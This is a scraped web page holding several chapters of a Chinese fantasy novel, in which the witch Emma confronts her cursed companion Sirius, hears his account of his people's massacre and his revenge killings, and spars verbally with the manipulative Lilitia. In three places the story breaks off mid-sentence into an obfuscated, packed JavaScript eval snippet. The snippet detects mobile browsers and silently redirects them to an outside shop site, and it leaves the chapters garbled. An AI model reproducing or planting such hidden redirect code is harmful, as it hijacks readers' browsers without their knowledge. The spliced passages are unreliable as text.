但她的法术碰不到那些半透明的魂体。她的身体能径直从鬼魂中穿过,鬼魂也碰不到她。 可是快靠近中心的那部分,和鬼魂模糊了边界的没有形状的黑色,开始具有她能碰到的实体。 越靠近中心,法术速度越快,魔力也越强。 那是他者的领域范围,不属月神可以掌控,即使对艾玛也具有极大威胁。 但她仍然向中间走。 那实体突然后退了一步。艾玛于是停住脚步。 “我不会杀你。”艾玛说,“你知道我不会。” 攻击仍然击打在她的防御法术上,甚至加大了力道。 “你了解我。我不会改变主意。 “我可以给你时间冷静。如果冷静不下来,我就一直在这里等你。” 攻击法术发生了紊乱。 实体试图后撤,攻击想要指向别处,但被艾玛的法术挡下,并且圈定住范围,他无法移动。 艾玛又向前走了一步。 模糊的黑色边界畏惧真的伤到她般回缩。人形的形体轮廓隐约能看出了。 艾玛伸出手:“我们还各有一个愿望没许过。你答应的,你说话算话,对吗?” 攻击停顿了,仿佛黑色的影子沉默。 那些散开的实体慢慢地重新凝聚。艾玛的指尖触碰到水迹,人类皮肤的触感。 西里斯在哭。 艾玛走过去,在他面前站住,双手捧住了西里斯的脸。 她用掌根抹掉他的眼泪,泪水和他脸上的血迹混合在一起,刚刚被擦掉,又有眼泪落下来。 艾玛耐心地重复这个动作。 她的指尖仍然发凉,但手心是热的。 “我不会再让任何人伤害你了。”艾玛说。 仿佛终于放弃,又一次接受他不能动摇的另一件事实,疯狂的攻击意识彻底消退,而相对的,一阵沉重的疲倦压上来,让他像是艰难支撑般前倾了些身体。 艾玛捧着他的脸颊,将他拉向她的方向,额头碰到西里斯额头上,轻轻蹭了蹭。 残余没有形状的黑色实体环绕着她,仿佛一个想要落下的拥抱,却又不敢落下,因此代替了还没有还原的手臂虚拢着。 “……对不起,艾玛。”西里斯声音很低,带着尚未复原的沙哑。 “嗯。”艾玛摸着他的脸,说,“没关系的。” 144.收场 克蕾娜揉了揉额角,扎得随意的头发比平时更潦草,衬衫和长袍也因为匆忙凌乱,沾着零星的血迹。 “他……没事。您下手很准。贝拉送来得也很及时。”克蕾娜皱着眉,无可奈何地叹了口气,“作为医生……我本该阻止你们现在见面。但他应该很愿意见您。” “谢谢,克蕾娜。”艾玛点头,“抱歉打扰你休息了。” “没什么……也不是第一次。他一有点反常举动,就准没什么好事。”克蕾娜苦笑,侧开身子给艾玛让路,又经过一个明显的犹豫,还是问,“西里斯他……?” 艾玛说:“他也没事。” 克蕾娜摸了摸脖颈,低下眼睛:“啊,那就好……” “谢谢你关心他。”艾玛笑了一下。 “不,没什么,我……”克蕾娜慢慢闭上嘴,沉默几秒,移开了目光,“没什么,您进去吧。” . . “晚上好,女巫殿下。” 艾玛关上门。 房间里没点灯,窗外的月光明亮。 利利提亚在窗边的床铺上坐起身,微笑着向她打招呼。 “虽然我想向您行跪礼——但现在下床的话,会被克蕾娜杀掉的。好不容易捡下一条命,还是珍惜些吧。” 艾玛说:“之前没见你这么惜命。” 利利提亚笑笑:“最后确实犹豫了一下,不该犯这样的错误。但即使是我,也没有做好和自己信仰的女巫为敌的准备。” 手心和手臂都有刺穿伤,被笼统地缠了绷带,但修长的手指仍露在外面。 利利提亚点了点自己的胸口:“克蕾娜说这道伤比较重,恐怕会留下疤痕。我很高兴。非常有意义的纪念呢。 “确实不躲开更好些,能切实刺中什么东西的话,您也更容易消气吧?现在心情有好一些吗?” 艾玛扬一下眉毛:“你看起来是故意想让我生气,然后还希望我尽快不计较?” 利利提亚为难道:“嗯,诚实地说,我的主要目的是那些鬼魂。艾佩庇里亚灭亡的真相,虽然不是不在意,但我不是历史学爱好者,答案没那么重要。 “可要是我能吞噬那些鬼魂——很大概率下,我的魔力就可以胜过女巫。” 艾玛哼嗯一声:“倒很坦白。” “您也不介意这点。” “因为饥饿而觅食是本能。累积力量对你谈得上乐趣,却不具有意义。你并不执着,所以现在也没有不甘心。” 利利提亚望着她,偏了偏头:“‘不甘心’,也得我有这种情绪才行。就像我没有想到您会‘生气’。” “我也没想到。”艾玛说。 “但您生气的样子很漂亮。”利利提亚微微亮起眼睛,“只是看着,好像我也稍微能想象那样的情绪。” “确实很奇妙的体验,但我不想再来一次。”艾玛手指在环抱的双臂上点了点,“——说说看,还有什么瞒着我没说全的事情?” 利利提亚的笑容灿烂起来:“哎呀,这就多了。您想从哪里开始听呢?您先坐吧,我躺着您却站着,多不合礼数。” “不了,没那么多话想讲,我听两句就走。” “好吧,那么更多未完待续的部分,我们以后慢慢谈。先说点眼前的吧。”利利提亚张开双手,指尖相触,“您和德丽克丝女士谈过了吗?” 艾玛停顿一下:“嗯。” “她重视集体利益胜过一切,和我们都不一样。所以无论是我还是您在安魂祭上的行为,她都一定不会赞同。”利利提亚倾斜过目光,“您要向她解释那位亡魂的来历,顺便讲讲我和鬼魂之间的联系吗?” “议会没必要知道那么多。”艾玛冷淡道,“我不会说。你也最好别多话。” “很高兴我们意见一致。”利利提亚点头,“那么,从现状上看来,您会比我更麻烦些。 “场地活动的事前申请,都通过了议会的认可。我在演出期间的表现,看起来还在可控范围之内。虽然追责免不了,但议会没法给我定什么重罪。 “但您那边——议会事前完全不知情,毫无准备,又在现场当着议会首席的面失控,切切实实危及了观众。 “您虽然控制了事态,但仍然包庇了那个高危险的不安定要素。 “如果您的解释不能让议会信服,甚至如果您要保持沉默——即使您是女巫,议会也得再斟酌对您的信任。” “这就是你想要的。”艾玛说。 “和您豢养的情人不同,我没有死在那里的打算,当然留过该有的后路。如果您当时真的打算杀我,我也是会努力挣扎一下的。”利利提亚微笑。 “他们怎么想都可以,我不感兴趣。”艾玛淡淡说。 利利提亚笑道:“是啊——这下,难题抛到了议会手上。 “事已至此,不管是您还是我,两者中间,他们起码得留下一个。没有足够强大的魔法师威慑,神殿的处境就会很危险了。 “您看,所以我才说‘不战誓约’没意思吧?碰到这种情况,他们还是没办法。” “你算计到这些?” “最多是顺手,自然而然,这套系统就是有这么脆弱。” 利利提亚说:“当然,比起我,议会仍然会更倾向女巫。您如果坚持保下他,即使不做任何解释,议会最后也只能让步。 “不过,在我看来,这里的问题反而是——您未必愿意留下了,对吗?” 艾玛盯了他片刻,说:“你这种地方,我有时候觉得很麻烦。” “我的荣幸。”利利提亚弯起眼睛。 “确实有些需要重新考虑的部分。我不想这么快做决定了。我会告诉议会,誓约礼先搁置,等我想清楚再谈。”艾玛说,“我猜你满意这个结果。” “您也了解我。”利利提亚笑一笑,思索道,“这次的伤很重,得老实休养几天。能推掉工作很不错,就是有点无聊,还没想好怎么打发时间。 “本来想给克蕾娜添点乱,又觉得她已经很烦了,有点不忍心,好为难。” “那你慢慢想。”艾玛结束话题,准备离开前又问,“你一开始就想好了这场演出的展开,也知道我要是事前清楚,就不会同意你这么做。 “你如果想要更不可收拾的结果,比起让我去到现场,瞒到底对你更有利。” “那多没礼貌,又多可惜。这样难得的场面,我不想您错过。”利利提亚微笑,“而且,我说过,‘想让您看看我看到的东西’。那是真心话呀。” . . . 艾玛打开卧房的门,门里昏暗着,落地窗边的窗帘拉上,床头边茶几上点着柔和的灯盏。 西里斯将书桌的椅子调转了方向,临着茶几坐着,半垂着眼睛,支在扶手上出神。 结束竞技场的事之后,艾玛带西里斯回了自己的房间,另找人带了两套尺码合适的衣服给他。 西里斯的伤势已经复原,外表异常也彻底消失,只是看起来格外疲倦。 他在隔间的浴室清洗了身上的血迹,艾玛趁这时间让他单独休息一会儿,外出处理了些后续。 从结果上看,影响还可以控制,除去事件主角,只有后期仍在观众席上停留的职员有部分被误伤。 了解到艾玛并没有解释缘由的意向,利利提亚又因重伤有正当的理由不回应,德丽克丝暂作沉默,只表示议会将讨论这件事。 回到房间时,她看见西里斯已经收拾好坐在茶几边,听见开门声时向她望过来,灯光落在他眼睛里,在他抬眼时显出光点跃动了一下的错觉。 大概只是主观的联想。 但艾玛此时看到西里斯在那里等她,心里还是有些高兴。 她关上门,走过去,动作里不自觉又有点拘谨。 他的头发也刚洗过,用法术弄干了,比平日更蓬松些。 艾玛路过时颇想摸一下,但还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714912|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是控制住了。注意到她在自己身边停住脚步,西里斯也看着她。 “身体没问题了吗?”艾玛问,“或者,还有没有头痛?” 西里斯沉默片刻,说:“抱歉。给你添麻烦了。” “那些没什么……” “不,有关我的事,我确实应该更早告诉你。” 艾玛走到床边,在床沿坐下,专心地望着他,表现出倾听的认真。 情景像曾经在费拉约尔斯的时候,连氛围也熟悉。 或许因为这样,艾玛感到些放松和安稳。 西里斯却避开了她的目光:“最早,我只是想迟点告诉你,比如在你成年,或者有足够阅历之后。 “等你有过普遍的社会体验,建立起稳定正常的善恶观,你才能够理解,人并不是纯粹的好,也不是完全的坏。所有人都是如此。 “但我们仍然要有一个标准,不出于个人的感性,而是更能保护大多数人的规则,像是‘法律’。 “有稳定的规则存在,社会才能在秩序中进步。不合人情常理的法条落后于时代,需要根据环境调整变化,当下的法令应符合当下更多人的利益与期望。 “即使法律总是变化,也有一些自古至今的基础共识,比如,‘杀人是最不可饶恕的罪行’。 “人类在群体中生活,彼此息息相关,我们普遍认同,杀死同类的应被同类唾弃。 “杀死别人的,必须受到惩罚。 “他的善良或者不得已,跟他犯下的罪是两回事,理应分开看待。 “他可以因为他的不幸得到同情,也必须为他的错误支付代价。” “上次我就想说,”艾玛打断道,“西里斯对这类人的态度太苛刻了。有些人只是为了保护自己才杀人。” “单独的自我防卫行为可以另外讨论,但如果用自卫的名头去多次主动杀人,那自卫只是借口。 “受害者和加害者的边界在这过程里早就模糊,凶手已经做出选择,理应承担后果。” 艾玛说:“不幸的人太多了。法律和规则没能庇护到的人也太多了。在沙漠里,为了生存杀人不是常态吗?” “常态不意味着正确。而且,在那种混乱的地方,杀人的人也会被人杀死,只是大家都平等地不被记得,报应公平地在任何时候降临在其中任何人身上。 “你也在城市生活过,有秩序的地方,这些需要被看见和记忆。你参与过法典的编订,你很清楚这些规范的意义。” 西里斯看着她,说:“你知道我是什么意思。所以你说这些,已经想替我开脱了。” 艾玛说:“我相信你不是会毫无道理杀人的人。” “我有我的‘不得已’。但再怎么样值得同情,我已经做出了选择。 “我害死过很多人,远比一个十个百个多得多,我是否罪重,也远比那些例子更好判断。我为自己主动杀死他们,我全部承认。” 西里斯冷冷地说,“如果有苦衷是杀人可免罪的理由,那么加害我的人也相同。她必须付出她的代价,我也一样。” 艾玛这次沉默了。 西里斯低下视线:“……抱歉,我知道你是好意。人类总会包庇与自己亲近的人,即使对方犯下罪行,也会找理由为他开罪。 “所以我不想在你太小的时候告诉你。如果你为了包庇我而美化我的行为,甚至扭曲了自己的善恶观……这很糟糕。” 他沉默一会儿,苦笑了一下:“但我还是想得太轻松了……或许应该更早控制和你的距离。可我还是不够了解女巫,也不知道怎么跟一个孩子正确相处。 “往后越熟悉你,我就越担心……即使你知道了我做过什么,也不会打算杀我。 “但是,我的问题已经给你带来了麻烦。 “哪怕作为道歉,我也应该给你一个解释。” “我最早的名字是……塞利法斯,”西里斯停顿了一下,“塞利法斯·弗雷德。” 145.自述 “你还是叫我西里斯就好。” 他说到这里时没什么表情,只是移开了目光,“我很早就不用这个名字了。但在我使用过的无数姓名里,只有这个名字和塞利法斯的姓氏相关联。” . “‘塞利法斯’,这个种族现在已经不存在,你大概都没有听说过。 “这是一支稀少的混血。关于混血中的共识,有一条:水生生物与陆生生物的体系不相通,因此同时具有两者特质的复合混血尤其少见。 “塞利法斯就是复合混血的例子。这个名字在古语中的含义是‘地上的鱼’‘奇迹之鸟’。 “我们具有羽类混血的双角,角上蓝色的羽毛有鱼类鳞片般的光泽。 “同族的长辈们说,那部分鱼类的血脉来自大海。 “年幼时,我过度地相信只有双眼能看到的事实,而我从未见过大海,所以不相信也不理解许多同族对所谓海神的信仰。 “塞利法斯们聚居的村庄在艾佩庇里亚王国边境,受王国庇护,也受王国管理。 “通常来说,只有贵族具有姓氏,但少部分像塞利法斯这样的特殊种族,因为外表特征显著,又以氏族结构集中居住,王室会特许他们以种族名作为姓氏,只是同贵族一样需要为姓氏纳税。 “或许本就是为了多一个收税的理由,但税额均摊到整个村庄,数字就可以接受。毕竟在王国中,这原本是只有贵族具备的特权,许多人还为此高兴。 “总体上,塞利法斯的村庄是个不太繁荣,但满足温饱的地方。因为位于边境,时常有商队过路往来,村里也有许多人外出工作。 “我们的血脉并没有带给我们怎样特殊的天赋。除了那对角,我们和普通人没有不同。 “我出生在1195年,那年艾佩庇里亚的王子刚刚即位为国王。 “他的王后是位强大的魔法师,没有人知道她的来历。 “她叫‘塞壬’。 “九年后,国王病逝,长子尚幼,塞壬继位为女王。” 安魂祭那晚竞技场内的对话,艾玛全都听见了,任何一句都没有漏过。 即使是不通的语言,也经过翻译法术了解到了含义。 她听见过这个名字。 西里斯说话时仍然没有看她,但艾玛听见他声音里轻微的波动。 即使强行下压,也隐隐透着不稳。 “往常,王室与贵族绝不可能同意一个出身不明的女人登上王座,但塞壬是个举世无双的魔法师。人人有求于她。 “他们依赖塞壬带来的繁荣与奇迹,可她太强大又太任性,如果不满足她的要求,她能做出的事远比人们可以想象的恐怖。他们因为贪婪和恐惧让了步。 “她刚成为女王的时候,艾佩庇里亚有过段好时光。也或者只是那时候的负面影响还算微小。 “贵族之间的传统、规矩,该有的人情道理乃至法律,她一概不顾。 “曾经被特权阶级打压限制,没有出身却富有可能性的人,许多被她封赏,成为了新贵族,原本固化的阶级体系受到了巨大冲击。 “新生的技术与造物也层出不穷,不限于国都推罗之内,甚至从国内流传出去,遍及大陆。 “即使后来艾佩庇里亚消亡,这些传播出去的部分仍然能在角角落落看见痕迹。 “我也曾经为这样的氛围感染。 “人人都在颂扬女王的美名。我也相信那是个好时代。 “村庄对那时的我来说太狭小,从村头跑到村尾都用不上几十分钟。 “我幼年时痴迷于机械制造,金属类材质更适合制作精细部件,但村子里缺乏这方面的材料和技术。 “父母支持了我的意向,11岁那年,我跟着定期经过的商队离开了村庄,跟着队伍里的金属工匠当学徒。 “1207年,我正要满12岁的时候,女王对塞利法斯下了屠杀令。 “编造的罪名漏洞百出,但大部分人从来也不深究,甚至真以为塞利法斯像罪状中所说那样卑劣恶毒。 “而女王的要求只有一个:切下所有塞利法斯的角带给她。 “做到的人,能从女王处得到丰厚的酬劳。 “也就是说,那是对所有人开出的高额悬赏。 “出色的占卜师能够追索到目标的踪迹,即使很隐蔽的,塞壬自己也能卜测位置。所有塞利法斯都不得幸免。 “即使远至他国,也有人为了女王的赏赐而前去捕杀。没有任何人逃得掉。 “塞利法斯一旦切去双角,七日内便会身亡。 “除去当场切下角的,也有许多奴隶商人将活的塞利法斯当作商品,在黑市里高价交易。 “很快,塞利法斯就为此灭亡了。” 西里斯的目光落到自己交叠的双手上,手指一点点收拢。 “我后来时常想:为什么是我? “我只是好运,离开了同族们聚居的村庄,在被人捕获前幸运地逃走了。 “不知道逃到哪里去,也不知道能做到什么。 “唯一可以想象的报复,是早于猎人们找到我之前,先一步切掉自己的角,毁掉它。 “我本来应该就那样死去。 “我后来猜过很多次,是因为在切掉自己的角之后,我对它许愿了吗? “是因为我吞下了那对角吗?是因为切掉角之后,我不再是塞利法斯,所有占卜才找不到我吗? “如果我因此幸免,这样的奇迹说不定也能发生在其他的塞利法斯身上呢? “但我再没有见过同样的奇迹。 “艾佩庇里亚灭亡之后,我才敢去占卜是否有幸存的塞利法斯。 “我没有找到。就像那么多年里无数占卜师的证言一样。 “但即使所有占卜师都那么说,塞壬自己也再找不到任何塞利法斯,她仍然强调这则悬赏。 “送上赝品者被她处死,时间日久,逐渐不再有人提了。 “我切掉角之后被奴隶贩子捡走,卖到了黑市,跟着那边的药剂师学会了制毒的本事。后来去到各个城市,跟贵族们打交道。 “因为不知道自己因何而幸免于被卜测,我对有占卜能力的魔法师都很戒惧,惟恐来历被发现。 “我是唯一的幸存者。可是幸运不能让我心安理得地活下去。 “我不能想象我作为那个唯一被幸免的,就这样偏安一隅,提心吊胆地度过一生。那是对逝去同族的背叛,也是耻辱。 “我不能接受害死他们的人仍然安然无恙地活着。无论是为赏金行凶的人,还是王座上无人能撼动的女王。 “她应该得到报应。 “如果没有人做得到,那我就去当她的报应。 “我为了复仇,算计谋杀了很多人。许多人罪有应得,也有许多人不该死。有人只是可能危及我,就因为那个可能被我杀死。 “我不觉得自己多么光明正义。我逝去的同族无辜,我犯下的罪行与他们无关。他们不曾要求我杀人作恶。那些行为只出于私怨。 “我感到愤怒,为这愤怒我去杀人。 “如果没有这种怒火,我不能活下去。 “即使我曾经是受害者,在无数次为自己而主动去杀人的时候,早就和凶手无异。无论那个出发点是否听了叫人同情。 “我厌恶这样的自己,但我对自己说,这些是为了复仇所必需的。 “等到女王得到她该有的报应,等她死去之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“如果这是她对我的报复,那她确实成功了!唯独只有想死去的我又活了下来,为这个诅咒多活了一百七十年! “我不仅没有死去,甚至在魔法上,变得更加强大,更加……接近于她。 “献祭而死的民众的鬼魂在我身体之内,塞壬的灵魂也一样。” 西里斯抬起眼睛,直视着艾玛,怒火在他眼中明亮地烧灼,艾玛不能移开视线。 “所以,我开始具有近似女巫的能力。魔法,直觉,对‘命运’的感知……我甚至能梦见她的部分记忆。许多东西把我认知为她。 “因为她没有彻底死去,没有消散,还活在我身上! “我还注意到,魔力的性质是不同的,因为它们源于不同的神明。 “我没有信仰过海神一天,但受到诅咒之后,我魔力的性质,却仍然和最初一样,毫无变化。 “我一直非常困惑,为什么塞壬找不到我。为什么只有我逃过占卜活下来。为什么只有我切掉双角还能活下来。为什么偏偏是我? “因为只有我去恨她,去报复她,去试图杀死她,只有我具有走到她面前的命运,因为我在她的命运之中,注定结束她的痛苦吗!” 西里斯猛地起身,抓住了艾玛的肩膀,双眼颤动着,声音在怒火中扭曲:“如果我幸存的性命,我的法术,我所做的一切,我拥有的杀死她的资格,连我恨她的权力都是她给我的!杀了我!艾玛,求你——” 艾玛拥抱了他。 她靠在西里斯肩膀,手掌抵在他背上,感受到他的躯体因为强烈情绪而颤抖,安抚地收拢手臂,将他拉近自己。 “——再给我一点时间。”艾玛压下自己声音里一点不合时宜的,明亮的情绪,埋到他脖颈边,声音很低,“我会想办法。抱歉,西里斯……再等我一会儿,好吗?” 146.谜底 利利提亚说:“您看起来心情不错呢。” 把书本推回书册间的动作停顿了一下,艾玛看他一眼:“是吗?” “您可能没什么自觉,但别人看起来还挺明显的。”利利提亚笑。 艾玛沉默,把书本归位后,指尖在书脊上点了点,又停住。 她心情确实不错。 艾玛想,虽然她知道不应该这样。 . 西里斯承认了他最近的精神状态实际相当糟糕,加上刚刚发生的事故,没有立场再拒绝艾玛的帮助。 艾玛让西里斯在她房间的沙发休息了一晚,第二天就把隔壁的书房改成了单间,从西里斯原本长居的客房把他的东西全搬了过来。 在法术协助下,半天就搞定了,行动力之高令人感叹。 安魂祭那晚的消息被压住了,但竞技场的演出公开,仍传出些流言。 议会有提示警告,西里斯自己短期也不想再出门,在房间里看书休息消磨时间。 克蕾娜来找过他一次,和西里斯聊了会儿天。 他在阿瓦托芬没交过什么朋友,除了克蕾娜,只跟医务室的病人还熟些。守卫只在远离女巫房间的位置巡逻,他乐得清静。 对于西里斯身上的诅咒,即使艾玛也一时没有解决的办法。在有头绪前,仍然只能通过女巫身边力场对鬼魂的天然压制来缓解。 房间只隔一面墙,并且天天见面,这样的程度差不多。 自艾玛逐渐长大后,为了有意跟她拉开距离,西里斯经常会强调拒绝一些肢体接触。 但或许是这次的事给艾玛造成了不小麻烦,其中确有为了保持距离宁可放任精神状态变差的责任,遂更加心情复杂,终于显出一种放弃的趋势。 艾玛也注意到了这种还处于细节上的变化。 她对周围人情绪态度变化的觉察向来算得上敏锐。 自小要关注父亲和他妻子的脸色,去市集上和人打交道也需要揣度他人的想法。 母亲对于自己身体情况的感知很迟钝,经常劳累过度,有时反而是艾玛会提醒她。 察言观色在那时是一种生存本领,为了能更安全地生活的必须。 但后来不再有这样紧迫的必要,这技能却在日渐增长的见识里精进,至今已经成了她的习惯。 只是注意到他人的情绪和理解是两回事,跟感同身受更是完全不同。 在周围的人感到悲伤、愤怒的时候,应该跟他们抱有同样的情绪,最起码不要在别人难过的时候高兴。艾玛很早明白了这个知识。 但是看见别人流泪也感到悲伤,看见别人愤怒也觉得生气,这样的能力似乎也是天赋的一种,而她并不具备。 艾玛平静地接受了这一现实,没有对此过多思考。 只是为了迎合身边的人,平时会尽量做些合群的情绪反应。 西里斯不是没有在她面前生过气,屈指可数的那几次,他的怒火燎过她身边,很快消失了,只留下记忆里模糊的热度。 但西里斯第一次没有再回避她的注视,剖开他的伤口、他的痛苦、他的愤怒,那些情绪强烈、丰富而鲜明,直面时令她感到震动。 艾玛意识到:这就是她缺失的东西。 愤怒的热度没有灼伤她,甚至让她感到温暖。 她或许应该同情西里斯的境遇,陪他愤怒和悲伤,但那些情绪全部无法令她感同。 艾玛当时想到的只有:西里斯终于愿意主动告诉她自己的事。高兴的情绪比其他全部更强烈。 但这情绪不合时宜,艾玛担心为此被讨厌,当场仍然努力克制了一下自己的表现。 . . “这点上我和您一样,所以挺明白的。我们的共情能力很差,只关注自己感兴趣的东西。 “所以高兴就是高兴,不在乎的,就产生不了一点情绪。”利利提亚思索,“嗯,您能对我生气,那还是有点在乎的程度?” 艾玛合上书,看向他:“你觉得自己为什么还能站在这里跟我说话?” 利利提亚笑道:“也是呢。” 他的伤好得很快,差不多一周就恢复了正常,只是身上还缠着少部分绷带,值得怀疑,这是否属于利利提亚为继续推掉工作而保留的借口。 艾玛打量他一下,伸出手,抓住利利提亚颈部,偏了偏他的颌骨,指尖拨开他鬓边的发丝,看完嗯了一声:“擦伤没留痕迹。我还是挺喜欢你的脸的。” 利利提亚眨了一下眼睛:“您那晚来找我,除了想确认我不多话,是有打算帮我治疗的吧?” 艾玛松开手:“虽然一时上了情绪,但冷静下来,又想起还需要克蕾娜治你。 “事情跟她没关系,不想让她太困扰。要是克蕾娜处理不过来,我会帮忙。” “克蕾娜一开始也有担心。不过,因为那个诅咒锁定了他身上所有的鬼魂,‘锁’没有打开,就一个都吞噬不了。 “也因为这样,我的身体内部环境没有增加需要平衡消化的新要素,反而实际治疗起来比较轻松,她也很意外。” “克蕾娜知道你的情况吗?”艾玛从架子上抽了下一本书,翻动时问道。 “我没向她解释过细节,但克蕾娜自己大概察觉到了。这个程度刚好,没必要做补充。” “我以为你足够相信她。” “那是两回事。”利利提亚耸了下肩,“即使说明了情况,别人也并不能理解。在他们看来,我的这种体质、偏好乃至性格,就像一种‘疾病’。就算有人为此同情,也只是在自以为是地理解。 “总有人认为这样的‘疾病’是可以治好的,所有人应当有一种纯洁而正确的活法。‘患病不是我的过错,我也一定不希望如此’。 “啊,真是令人厌烦的天真。 “作为鬼那一半的我,我身为鬼具有的天性,全都是我的一部分。 “越是否认这种与生俱来、不可分割的特质,越是只会让当事人痛苦。 “打着‘为你好’的名号,又究竟是为了回避谁的恐惧,满足谁的欲望呢?” 利利提亚摊了摊手:“很多人意识不到,他们只是在从自己的角度定论他者的人生。但事实上,怎么样生活对我来说比较愉快,是只有我自己最清楚的事。 “克蕾娜不擅长思考人情,也不擅长从他人的角度理解问题,但她自己也清楚这样的缺点,人又太好心,反而会闷着想半天,什么都不说。 “我虽然觉得她这性格很有趣,但作为朋友,偶尔还是有那么一点点不给她添堵的良心吧。” “那还真稀罕。”艾玛淡淡说,又翻了一页书,“你受伤之后,贝拉很着急。她是很有分寸的人,第一次看见她这么手忙脚乱。 “她及时把你送到医务室,你向她道过谢了吗?” “或许吧。”利利提亚随意地说,“我不记得了。” 艾玛嗯了一声,目光仍然在书页上。 利利提亚盯了她片刻,笑道:“我倒是很喜欢您这种地方。” 艾玛又换了本书,没回话。 “说起来,议会大概也没想到,闹出这么大的动静,我和您这么快就‘和解’了。也难免连他们都往传闻猜测的方向考虑,以为是‘因为情感关系产生的纠纷’。” 利利提亚促狭地眯了眯眼睛,“整理了一下其他方面能得到的信息,看起来还真像那么回事,我都有点想把这个理由直接交给议会了。” “冷笑话?”艾玛说。 “真让人心寒的感想呢。” “对议会那边,我也确实感到抱歉。答应了誓约礼,却又毁约推迟,会给很多人带来困扰。”艾玛说,“但也不是第一次做这种事,因为习惯了,反而觉得好像也没关系。嗯……不太好的心态。” “我也觉得没什么呀。”利利提亚轻快地说,“我离开罗穆卢斯之前,没有跟任何人交接过工作,不少资料堆在我房间里,走的时候一起烧掉了。 “哎呀,想到他们有多头痛,就觉得开心起来了。” “你就是这种单纯不想让人好过的方面上最麻烦。” “被说得这么直白,还真有点不好意思。” 艾玛望了他一眼:“你在乎的东西比看起来还要少,那些误以为能限制你的,在需要的时刻,根本起不到限制的作用。 “你可以合作,但不能信任。” 利利提亚显得无奈:“对别人或许如此,但您不一样。我的信仰全无虚假。” “‘信仰’,这个词和你实在不相称。”艾玛的声音平静,每个音节都稳定,一粒粒扣落在地砖上,“常人追求神启,期待神言语指引。 “你却相反,你需要一个不会说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723797|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的神。 “允许你的神才会被你承认,而沉默不会否定你,其中有无数种肆意解读的自由。 “你不需要神开口,只要求祂存在。 “信仰哪个神对你来说都一样,只是那天你遇见的是月神的教堂,仅此而已。 “我对此倒没什么不满。你足够‘信任’月神,就像信任自己。 “对你这样极度自信到几乎自恋的人,把这种程度的交付与接纳称为‘信仰’,也可以理解。 “它是补全你自洽逻辑的一部分。因为信仰坚定,逻辑才如此稳固。”艾玛的眼睛里没有情绪,“我是会开口的女巫,不与月神等同。你为此失望吗?” “不,您远比我想象的还要好。” 利利提亚望着她,微笑起来:“恭喜。您彻底了解我了。” . “我不是叫你来说这个的。”艾玛合上手里的书册,“你能认出西里斯身上的‘诅咒’,应该在这方面有所了解。如果我想解开那个诅咒,有什么方向?” “您想‘解开’啊。”利利提亚咀嚼一下这个用词,笑一笑思索,“现在想起来,那个诅咒的结构太复杂,那天一时没分清,其中好像有一个另外的部分。 “应该是‘契约’。有一端向外延伸,和单向的诅咒不同,想来有另外的契约对象。” “我跟西里斯订过契约。”艾玛说。 “啊,应该是那个吧。契约语言很古老,是牢固的强效力类型,结契时间却比诅咒时间要迟,还在持续状态。”利利提亚停顿一下,叹气,“跟您契约吗,好羡慕。” “这些信息我都知道。” “包括羡慕这一点?” 艾玛掂了掂手里沉重的典籍:“第三层的书很贵重,有修复困难的风险,我不想把它们砸你身上。” “我也不想,上次的伤口还没好全呢。”利利提亚思忖一下,“唔,我对诅咒的了解来自罗穆卢斯。契约需要双向的认同,但陷阱不好设置;单向的诅咒则相对方便。 “不少贵族喜欢养擅长诅咒的巫师,尤利乌斯家也有。我当时学过些避开和解除诅咒的方法,还因为无聊看了不少家族藏书。 “理论上,诅咒刚好在我擅长的法术类型范围之内,但我不太喜欢用。 “太迂回太麻烦,不仅需要各种条件准备,还需要与诅咒结果交换的‘代价’,施术者自己也无法避免。” 利利提亚望向她,“——‘那个诅咒’所牺牲的,恐怕不仅仅是艾佩庇里亚的国民,更是‘一位女巫的性命’,甚至于她的灵魂。 “这前所未有庞大的代价,不难想象它交换的后果有多恐怖。 “嵌在笼子上的锁,能带着笼子一起砸开已经很不错了。恕我直言,就像他自己所表现的,直接杀死他可比解开诅咒要简单得多。” 艾玛说:“我是问你解决问题的方法,不是问你解决提出问题的方法。” 利利提亚笑一声:“好吧。那么尽管不一定有参考价值,我提一点个人角度的猜想: “那些民众的死亡未必是诅咒所需的‘代价’,说不定,反而是诅咒‘结果’的一部分。 “如果能分离出其中的鬼魂,诅咒的结构就会松动。但现在那个诅咒也还是完整的,所有鬼魂都是稳固结构的一部分。 “分离鬼魂可以削弱诅咒,但只有削弱了诅咒才可能分离鬼魂,真是难解的悖论。” 艾玛沉默着想了一会儿,点点头:“明白了,谢谢。” “您是想把这里的书都翻一遍吗?”利利提亚环视了一下,“虽然藏书室第三层的书做过特殊防护,可能屏蔽您的探查感知,但这概率也不是很高。况且,这里的书太多了,这种做法耗神耗力,还未必有效。” “大概是的。”艾玛把手里的书放回去,“但暂时想不到其他办法,随便做点什么也比不做好。” “纸面理论终究只是纸面,这时候,您更适合散散心。我想到有个地方,或许能给您灵感。” 艾玛抬抬眼:“哪里?” 利利提亚笑笑:“女巫的诅咒,恐怕也只有女巫能解开。 